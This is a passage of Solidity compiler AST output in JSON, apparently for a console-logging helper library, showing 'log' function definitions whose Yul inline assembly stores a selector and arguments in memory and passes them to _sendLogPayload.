],"functionName":{"name":"mload","nativeSrc":"242656:5:22","nodeType":"YulIdentifier","src":"242656:5:22"},"nativeSrc":"242656:11:22","nodeType":"YulFunctionCall","src":"242656:11:22"},"variableNames":[{"name":"m6","nativeSrc":"242650:2:22","nodeType":"YulIdentifier","src":"242650:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"242750:4:22","nodeType":"YulLiteral","src":"242750:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"242756:10:22","nodeType":"YulLiteral","src":"242756:10:22","type":"","value":"0xcc32ab07"}],"functionName":{"name":"mstore","nativeSrc":"242743:6:22","nodeType":"YulIdentifier","src":"242743:6:22"},"nativeSrc":"242743:24:22","nodeType":"YulFunctionCall","src":"242743:24:22"},"nativeSrc":"242743:24:22","nodeType":"YulExpressionStatement","src":"242743:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"242787:4:22","nodeType":"YulLiteral","src":"242787:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"242793:2:22","nodeType":"YulIdentifier","src":"242793:2:22"}],"functionName":{"name":"mstore","nativeSrc":"242780:6:22","nodeType":"YulIdentifier","src":"242780:6:22"},"nativeSrc":"242780:16:22","nodeType":"YulFunctionCall","src":"242780:16:22"},"nativeSrc":"242780:16:22","nodeType":"YulExpressionStatement","src":"242780:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"242816:4:22","nodeType":"YulLiteral","src":"242816:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"242822:2:22","nodeType":"YulIdentifier","src":"242822:2:22"}],"functionName":{"name":"mstore","nativeSrc":"242809:6:22","nodeType":"YulIdentifier","src":"242809:6:22"},"nativeSrc":"242809:16:22","nodeType":"YulFunctionCall","src":"242809:16:22"},"nativeSrc":"242809:16:22","nodeType":"YulExpressionStatement","src":"242809:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"242845:4:22","nodeType":"YulLiteral","src":"242845:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"242851:4:22","nodeType":"YulLiteral","src":"242851:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"242838:6:22","nodeType":"YulIdentifier","src":"242838:6:22"},"nativeSrc":"242838:18:22","nodeType":"YulFunctionCall","src":"242838:18:22"},"nativeSrc":"242838:18:22","nodeType":"YulExpressionStatement","src":"242838:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"242876:4:22","nodeType":"YulLiteral","src":"242876:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"242882:2:22","nodeType":"YulIdentifier","src":"242882:2:22"}],"functionName":{"name":"mstore","nativeSrc":"242869:6:22","nodeType":"YulIdentifier","src":"242869:6:22"},"nativeSrc":"242869:16:22","nodeType":"YulFunctionCall","src":"242869:16:22"},"nativeSrc":"242869:16:22","nodeType":"YulExpressionStatement","src":"242869:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"242910:4:22","nodeType":"YulLiteral","src":"242910:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"242916:2:22","nodeType":"YulIdentifier","src":"242916:2:22"}],"functionName":{"name":"writeString","nativeSrc":"242898:11:22","nodeType":"YulIdentifier","src":"242898:11:22"},"nativeSrc":"242898:21:22","nodeType":"YulFunctionCall","src":"242898:21:22"},"nativeSrc":"242898:21:22","nodeType":"YulExpressionStatement","src":"242898:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41752,"isOffset":false,"isSlot":false,"src":"242470:2:22","valueSize":1},{"declaration":41755,"isOffset":false,"isSlot":false,"src":"242500:2:22","valueSize":1},{"declaration":41758,"isOffset":false,"isSlot":false,"src":"242530:2:22","valueSize":1},{"declaration":41761,"isOffset":false,"isSlot":false,"src":"242560:2:22","valueSize":1},{"declaration":41764,"isOffset":false,"isSlot":false,"src":"242590:2:22","valueSize":1},{"declaration":41767,"isOffset":false,"isSlot":false,"src":"242620:2:22","valueSize":1},{"declaration":41770,"isOffset":false,"isSlot":false,"src":"242650:2:22","valueSize":1},{"declaration":41742,"isOffset":false,"isSlot":false,"src":"242793:2:22","valueSize":1},{"declaration":41744,"isOffset":false,"isSlot":false,"src":"242822:2:22","valueSize":1},{"declaration":41746,"isOffset":false,"isSlot":false,"src":"242916:2:22","valueSize":1},{"declaration":41748,"isOffset":false,"isSlot":false,"src":"242882:2:22","valueSize":1}],"id":41772,"nodeType":"InlineAssembly","src":"242092:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41774,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"242954:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41775,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"242960:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41773,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"242938:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"242938:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41777,"nodeType":"ExpressionStatement","src":"242938:27:22"},{"AST":{"nativeSrc":"242984:214:22","nodeType":"YulBlock","src":"242984:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"243005:4:22","nodeType":"YulLiteral","src":"243005:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"243011:2:22","nodeType":"YulIdentifier","src":"243011:2:22"}],"functionName":{"name":"mstore","nativeSrc":"242998:6:22","nodeType":"YulIdentifier","src":"242998:6:22"},"nativeSrc":"242998:16:22","nodeType":"YulFunctionCall","src":"242998:16:22"},"nativeSrc":"242998:16:22","nodeType":"YulExpressionStatement","src":"242998:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"243034:4:22","nodeType":"YulLiteral","src":"243034:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"243040:2:22","nodeType":"YulIdentifier","src":"243040:2:22"}],"functionName":{"name":"mstore","nativeSrc":"243027:6:22","nodeType":"YulIdentifier","src":"243027:6:22"},"nativeSrc":"243027:16:22","nodeType":"YulFunctionCall","src":"243027:16:22"},"nativeSrc":"243027:16:22","nodeType":"YulExpressionStatement","src":"243027:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"243063:4:22","nodeType":"YulLiteral","src":"243063:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"243069:2:22","nodeType":"YulIdentifier","src":"243069:2:22"}],"functionName":{"name":"mstore","nativeSrc":"243056:6:22","nodeType":"YulIdentifier","src":"243056:6:22"},"nativeSrc":"243056:16:22","nodeType":"YulFunctionCall","src":"243056:16:22"},"nativeSrc":"243056:16:22","nodeType":"YulExpressionStatement","src":"243056:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"243092:4:22","nodeType":"YulLiteral","src":"243092:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"243098:2:22","nodeType":"YulIdentifier","src":"243098:2:22"}],"functionName":{"name":"mstore","nativeSrc":"243085:6:22","nodeType":"YulIdentifier","src":"243085:6:22"},"nativeSrc":"243085:16:22","nodeType":"YulFunctionCall","src":"243085:16:22"},"nativeSrc":"243085:16:22","nodeType":"YulExpressionStatement","src":"243085:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"243121:4:22","nodeType":"YulLiteral","src":"243121:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"243127:2:22","nodeType":"YulIdentifier","src":"243127:2:22"}],"functionName":{"name":"mstore","nativeSrc":"243114:6:22","nodeType":"YulIdentifier","src":"243114:6:22"},"nativeSrc":"243114:16:22","nodeType":"YulFunctionCall","src":"243114:16:22"},"nativeSrc":"243114:16:22","nodeType":"YulExpressionStatement","src":"243114:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"243150:4:22","nodeType":"YulLiteral","src":"243150:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"243156:2:22","nodeType":"YulIdentifier","src":"243156:2:22"}],"functionName":{"name":"mstore","nativeSrc":"243143:6:22","nodeType":"YulIdentifier","src":"243143:6:22"},"nativeSrc":"243143:16:22","nodeType":"YulFunctionCall","src":"243143:16:22"},"nativeSrc":"243143:16:22","nodeType":"YulExpressionStatement","src":"243143:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"243179:4:22","nodeType":"YulLiteral","src":"243179:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"243185:2:22","nodeType":"YulIdentifier","src":"243185:2:22"}],"functionName":{"name":"mstore","nativeSrc":"243172:6:22","nodeType":"YulIdentifier","src":"243172:6:22"},"nativeSrc":"243172:16:22","nodeType":"YulFunctionCall","src":"243172:16:22"},"nativeSrc":"243172:16:22","nodeType":"YulExpressionStatement","src":"243172:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41752,"isOffset":false,"isSlot":false,"src":"243011:2:22","valueSize":1},{"declaration":41755,"isOffset":false,"isSlot":false,"src":"243040:2:22","valueSize":1},{"declaration":41758,"isOffset":false,"isSlot":false,"src":"243069:2:22","valueSize":1},{"declaration":41761,"isOffset":false,"isSlot":false,"src":"243098:2:22","valueSize":1},{"declaration":41764,"isOffset":false,"isSlot":false,"src":"243127:2:22","valueSize":1},{"declaration":41767,"isOffset":false,"isSlot":false,"src":"243156:2:22","valueSize":1},{"declaration":41770,"isOffset":false,"isSlot":false,"src":"243185:2:22","valueSize":1}],"id":41778,"nodeType":"InlineAssembly","src":"242975:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"241879:3:22","parameters":{"id":41749,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41742,"mutability":"mutable","name":"p0","nameLocation":"241891:2:22","nodeType":"VariableDeclaration","scope":41780,"src":"241883:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41741,"name":"uint256","nodeType":"ElementaryTypeName","src":"241883:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41744,"mutability":"mutable","name":"p1","nameLocation":"241903:2:22","nodeType":"VariableDeclaration","scope":41780,"src":"241895:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41743,"name":"address","nodeType":"ElementaryTypeName","src":"241895:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41746,"mutability":"mutable","name":"p2","nameLocation":"241915:2:22","nodeType":"VariableDeclaration","scope":41780,"src":"241907:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41745,"name":"bytes32","nodeType":"ElementaryTypeName","src":"241907:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41748,"mutability":"mutable","name":"p3","nameLocation":"241924:2:22","nodeType":"VariableDeclaration","scope":41780,"src":"241919:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41747,"name":"bool","nodeType":"ElementaryTypeName","src":"241919:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"241882:45:22"},"returnParameters":{"id":41750,"nodeType":"ParameterList","parameters":[],"src":"241942:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41820,"nodeType":"FunctionDefinition","src":"243210:1340:22","nodes":[],"body":{"id":41819,"nodeType":"Block","src":"243285:1265:22","nodes":[],"statements":[{"assignments":[41792],"declarations":[{"constant":false,"id":41792,"mutability":"mutable","name":"m0","nameLocation":"243303:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243295:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41791,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243295:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41793,"nodeType":"VariableDeclarationStatement","src":"243295:10:22"},{"assignments":[41795],"declarations":[{"constant":false,"id":41795,"mutability":"mutable","name":"m1","nameLocation":"243323:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41794,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243315:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41796,"nodeType":"VariableDeclarationStatement","src":"243315:10:22"},{"assignments":[41798],"declarations":[{"constant":false,"id":41798,"mutability":"mutable","name":"m2","nameLocation":"243343:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243335:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41797,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243335:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41799,"nodeType":"VariableDeclarationStatement","src":"243335:10:22"},{"assignments":[41801],"declarations":[{"constant":false,"id":41801,"mutability":"mutable","name":"m3","nameLocation":"243363:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243355:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41800,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243355:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41802,"nodeType":"VariableDeclarationStatement","src":"243355:10:22"},{"assignments":[41804],"declarations":[{"constant":false,"id":41804,"mutability":"mutable","name":"m4","nameLocation":"243383:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243375:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41803,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243375:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41805,"nodeType":"VariableDeclarationStatement","src":"243375:10:22"},{"assignments":[41807],"declarations":[{"constant":false,"id":41807,"mutability":"mutable","name":"m5","nameLocation":"243403:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243395:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41806,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243395:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41808,"nodeType":"VariableDeclarationStatement","src":"243395:10:22"},{"assignments":[41810],"declarations":[{"constant":false,"id":41810,"mutability":"mutable","name":"m6","nameLocation":"243423:2:22","nodeType":"VariableDeclaration","scope":41819,"src":"243415:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41809,"name":"bytes32","nodeType":"ElementaryTypeName","src":"243415:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41811,"nodeType":"VariableDeclarationStatement","src":"243415:10:22"},{"AST":{"nativeSrc":"243444:831:22","nodeType":"YulBlock","src":"243444:831:22","statements":[{"body":{"nativeSrc":"243487:313:22","nodeType":"YulBlock","src":"243487:313:22","statements":[{"nativeSrc":"243505:15:22","nodeType":"YulVariableDeclaration","src":"243505:15:22","value":{"kind":"number","nativeSrc":"243519:1:22","nodeType":"YulLiteral","src":"243519:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"243509:6:22","nodeType":"YulTypedName","src":"243509:6:22","type":""}]},{"body":{"nativeSrc":"243590:40:22","nodeType":"YulBlock","src":"243590:40:22","statements":[{"body":{"nativeSrc":"243619:9:22","nodeType":"YulBlock","src":"243619:9:22","statements":[{"nativeSrc":"243621:5:22","nodeType":"YulBreak","src":"243621:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"243607:6:22","nodeType":"YulIdentifier","src":"243607:6:22"},{"name":"w","nativeSrc":"243615:1:22","nodeType":"YulIdentifier","src":"243615:1:22"}],"functionName":{"name":"byte","nativeSrc":"243602:4:22","nodeType":"YulIdentifier","src":"243602:4:22"},"nativeSrc":"243602:15:22","nodeType":"YulFunctionCall","src":"243602:15:22"}],"functionName":{"name":"iszero","nativeSrc":"243595:6:22","nodeType":"YulIdentifier","src":"243595:6:22"},"nativeSrc":"243595:23:22","nodeType":"YulFunctionCall","src":"243595:23:22"},"nativeSrc":"243592:36:22","nodeType":"YulIf","src":"243592:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"243547:6:22","nodeType":"YulIdentifier","src":"243547:6:22"},{"kind":"number","nativeSrc":"243555:4:22","nodeType":"YulLiteral","src":"243555:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"243544:2:22","nodeType":"YulIdentifier","src":"243544:2:22"},"nativeSrc":"243544:16:22","nodeType":"YulFunctionCall","src":"243544:16:22"},"nativeSrc":"243537:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"243561:28:22","nodeType":"YulBlock","src":"243561:28:22","statements":[{"nativeSrc":"243563:24:22","nodeType":"YulAssignment","src":"243563:24:22","value":{"arguments":[{"name":"length","nativeSrc":"243577:6:22","nodeType":"YulIdentifier","src":"243577:6:22"},{"kind":"number","nativeSrc":"243585:1:22","nodeType":"YulLiteral","src":"243585:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"243573:3:22","nodeType":"YulIdentifier","src":"243573:3:22"},"nativeSrc":"243573:14:22","nodeType":"YulFunctionCall","src":"243573:14:22"},"variableNames":[{"name":"length","nativeSrc":"243563:6:22","nodeType":"YulIdentifier","src":"243563:6:22"}]}]},"pre":{"nativeSrc":"243541:2:22","nodeType":"YulBlock","src":"243541:2:22","statements":[]},"src":"243537:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"243654:3:22","nodeType":"YulIdentifier","src":"243654:3:22"},{"name":"length","nativeSrc":"243659:6:22","nodeType":"YulIdentifier","src":"243659:6:22"}],"functionName":{"name":"mstore","nativeSrc":"243647:6:22","nodeType":"YulIdentifier","src":"243647:6:22"},"nativeSrc":"243647:19:22","nodeType":"YulFunctionCall","src":"243647:19:22"},"nativeSrc":"243647:19:22","nodeType":"YulExpressionStatement","src":"243647:19:22"},{"nativeSrc":"243683:37:22","nodeType":"YulVariableDeclaration","src":"243683:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"243700:3:22","nodeType":"YulLiteral","src":"243700:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"243709:1:22","nodeType":"YulLiteral","src":"243709:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"243712:6:22","nodeType":"YulIdentifier","src":"243712:6:22"}],"functionName":{"name":"shl","nativeSrc":"243705:3:22","nodeType":"YulIdentifier","src":"243705:3:22"},"nativeSrc":"243705:14:22","nodeType":"YulFunctionCall","src":"243705:14:22"}],"functionName":{"name":"sub","nativeSrc":"243696:3:22","nodeType":"YulIdentifier","src":"243696:3:22"},"nativeSrc":"243696:24:22","nodeType":"YulFunctionCall","src":"243696:24:22"},"variables":[{"name":"shift","nativeSrc":"243687:5:22","nodeType":"YulTypedName","src":"243687:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"243748:3:22","nodeType":"YulIdentifier","src":"243748:3:22"},{"kind":"number","nativeSrc":"243753:4:22","nodeType":"YulLiteral","src":"243753:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"243744:3:22","nodeType":"YulIdentifier","src":"243744:3:22"},"nativeSrc":"243744:14:22","nodeType":"YulFunctionCall","src":"243744:14:22"},{"arguments":[{"name":"shift","nativeSrc":"243764:5:22","nodeType":"YulIdentifier","src":"243764:5:22"},{"arguments":[{"name":"shift","nativeSrc":"243775:5:22","nodeType":"YulIdentifier","src":"243775:5:22"},{"name":"w","nativeSrc":"243782:1:22","nodeType":"YulIdentifier","src":"243782:1:22"}],"functionName":{"name":"shr","nativeSrc":"243771:3:22","nodeType":"YulIdentifier","src":"243771:3:22"},"nativeSrc":"243771:13:22","nodeType":"YulFunctionCall","src":"243771:13:22"}],"functionName":{"name":"shl","nativeSrc":"243760:3:22","nodeType":"YulIdentifier","src":"243760:3:22"},"nativeSrc":"243760:25:22","nodeType":"YulFunctionCall","src":"243760:25:22"}],"functionName":{"name":"mstore","nativeSrc":"243737:6:22","nodeType":"YulIdentifier","src":"243737:6:22"},"nativeSrc":"243737:49:22","nodeType":"YulFunctionCall","src":"243737:49:22"},"nativeSrc":"243737:49:22","nodeType":"YulExpressionStatement","src":"243737:49:22"}]},"name":"writeString","nativeSrc":"243458:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"243479:3:22","nodeType":"YulTypedName","src":"243479:3:22","type":""},{"name":"w","nativeSrc":"243484:1:22","nodeType":"YulTypedName","src":"243484:1:22","type":""}],"src":"243458:342:22"},{"nativeSrc":"243813:17:22","nodeType":"YulAssignment","src":"243813:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"243825:4:22","nodeType":"YulLiteral","src":"243825:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"243819:5:22","nodeType":"YulIdentifier","src":"243819:5:22"},"nativeSrc":"243819:11:22","nodeType":"YulFunctionCall","src":"243819:11:22"},"variableNames":[{"name":"m0","nativeSrc":"243813:2:22","nodeType":"YulIdentifier","src":"243813:2:22"}]},{"nativeSrc":"243843:17:22","nodeType":"YulAssignment","src":"243843:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"243855:4:22","nodeType":"YulLiteral","src":"243855:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"243849:5:22","nodeType":"YulIdentifier","src":"243849:5:22"},"nativeSrc":"243849:11:22","nodeType":"YulFunctionCall","src":"243849:11:22"},"variableNames":[{"name":"m1","nativeSrc":"243843:2:22","nodeType":"YulIdentifier","src":"243843:2:22"}]},{"nativeSrc":"243873:17:22","nodeType":"YulAssignment","src":"243873:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"243885:4:22","nodeType":"YulLiteral","src":"243885:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"243879:5:22","nodeType":"YulIdentifier","src":"243879:5:22"},"nativeSrc":"243879:11:22","nodeType":"YulFunctionCall","src":"243879:11:22"},"variableNames":[{"name":"m2","nativeSrc":"243873:2:22","nodeType":"YulIdentifier","src":"243873:2:22"}]},{"nativeSrc":"243903:17:22","nodeType":"YulAssignment","src":"243903:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"243915:4:22","nodeType":"YulLiteral","src":"243915:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"243909:5:22","nodeType":"YulIdentifier","src":"243909:5:22"},"nativeSrc":"243909:11:22","nodeType":"YulFunctionCall","src":"243909:11:22"},"variableNames":[{"name":"m3","nativeSrc":"243903:2:22","nodeType":"YulIdentifier","src":"243903:2:22"}]},{"nativeSrc":"243933:17:22","nodeType":"YulAssignment","src":"243933:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"243945:4:22","nodeType":"YulLiteral","src":"243945:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"243939:5:22","nodeType":"YulIdentifier","src":"243939:5:22"},"nativeSrc":"243939:11:22","nodeType":"YulFunctionCall","src":"243939:11:22"},"variableNames":[{"name":"m4","nativeSrc":"243933:2:22","nodeType":"YulIdentifier","src":"243933:2:22"}]},{"nativeSrc":"243963:17:22","nodeType":"YulAssignment","src":"243963:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"243975:4:22","nodeType":"YulLiteral","src":"243975:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"243969:5:22","nodeType":"YulIdentifier","src":"243969:5:22"},"nativeSrc":"243969:11:22","nodeType":"YulFunctionCall","src":"243969:11:22"},"variableNames":[{"name":"m5","nativeSrc":"243963:2:22","nodeType":"YulIdentifier","src":"243963:2:22"}]},{"nativeSrc":"243993:17:22","nodeType":"YulAssignment","src":"243993:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"244005:4:22","nodeType":"YulLiteral","src":"244005:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"243999:5:22","nodeType":"YulIdentifier","src":"243999:5:22"},"nativeSrc":"243999:11:22","nodeType":"YulFunctionCall","src":"243999:11:22"},"variableNames":[{"name":"m6","nativeSrc":"243993:2:22","nodeType":"YulIdentifier","src":"243993:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244096:4:22","nodeType":"YulLiteral","src":"244096:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"244102:10:22","nodeType":"YulLiteral","src":"244102:10:22","type":"","value":"0x46826b5d"}],"functionName":{"name":"mstore","nativeSrc":"244089:6:22","nodeType":"YulIdentifier","src":"244089:6:22"},"nativeSrc":"244089:24:22","nodeType":"YulFunctionCall","src":"244089:24:22"},"nativeSrc":"244089:24:22","nodeType":"YulExpressionStatement","src":"244089:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244133:4:22","nodeType":"YulLiteral","src":"244133:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"244139:2:22","nodeType":"YulIdentifier","src":"244139:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244126:6:22","nodeType":"YulIdentifier","src":"244126:6:22"},"nativeSrc":"244126:16:22","nodeType":"YulFunctionCall","src":"244126:16:22"},"nativeSrc":"244126:16:22","nodeType":"YulExpressionStatement","src":"244126:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244162:4:22","nodeType":"YulLiteral","src":"244162:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"244168:2:22","nodeType":"YulIdentifier","src":"244168:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244155:6:22","nodeType":"YulIdentifier","src":"244155:6:22"},"nativeSrc":"244155:16:22","nodeType":"YulFunctionCall","src":"244155:16:22"},"nativeSrc":"244155:16:22","nodeType":"YulExpressionStatement","src":"244155:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244191:4:22","nodeType":"YulLiteral","src":"244191:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"244197:4:22","nodeType":"YulLiteral","src":"244197:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"244184:6:22","nodeType":"YulIdentifier","src":"244184:6:22"},"nativeSrc":"244184:18:22","nodeType":"YulFunctionCall","src":"244184:18:22"},"nativeSrc":"244184:18:22","nodeType":"YulExpressionStatement","src":"244184:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244222:4:22","nodeType":"YulLiteral","src":"244222:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"244228:2:22","nodeType":"YulIdentifier","src":"244228:2:22"}],"functionName":{"name":"mstore","nativeSrc":"244215:6:22","nodeType":"YulIdentifier","src":"244215:6:22"},"nativeSrc":"244215:16:22","nodeType":"YulFunctionCall","src":"244215:16:22"},"nativeSrc":"244215:16:22","nodeType":"YulExpressionStatement","src":"244215:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"244256:4:22","nodeType":"YulLiteral","src":"244256:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"244262:2:22","nodeType":"YulIdentifier","src":"244262:2:22"}],"functionName":{"name":"writeString","nativeSrc":"244244:11:22","nodeType":"YulIdentifier","src":"244244:11:22"},"nativeSrc":"244244:21:22","nodeType":"YulFunctionCall","src":"244244:21:22"},"nativeSrc":"244244:21:22","nodeType":"YulExpressionStatement","src":"244244:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41792,"isOffset":false,"isSlot":false,"src":"243813:2:22","valueSize":1},{"declaration":41795,"isOffset":false,"isSlot":false,"src":"243843:2:22","valueSize":1},{"declaration":41798,"isOffset":false,"isSlot":false,"src":"243873:2:22","valueSize":1},{"declaration":41801,"isOffset":false,"isSlot":false,"src":"243903:2:22","valueSize":1},{"declaration":41804,"isOffset":false,"isSlot":false,"src":"243933:2:22","valueSize":1},{"declaration":41807,"isOffset":false,"isSlot":false,"src":"243963:2:22","valueSize":1},{"declaration":41810,"isOffset":false,"isSlot":false,"src":"243993:2:22","valueSize":1},{"declaration":41782,"isOffset":false,"isSlot":false,"src":"244139:2:22","valueSize":1},{"declaration":41784,"isOffset":false,"isSlot":false,"src":"244168:2:22","valueSize":1},{"declaration":41786,"isOffset":false,"isSlot":false,"src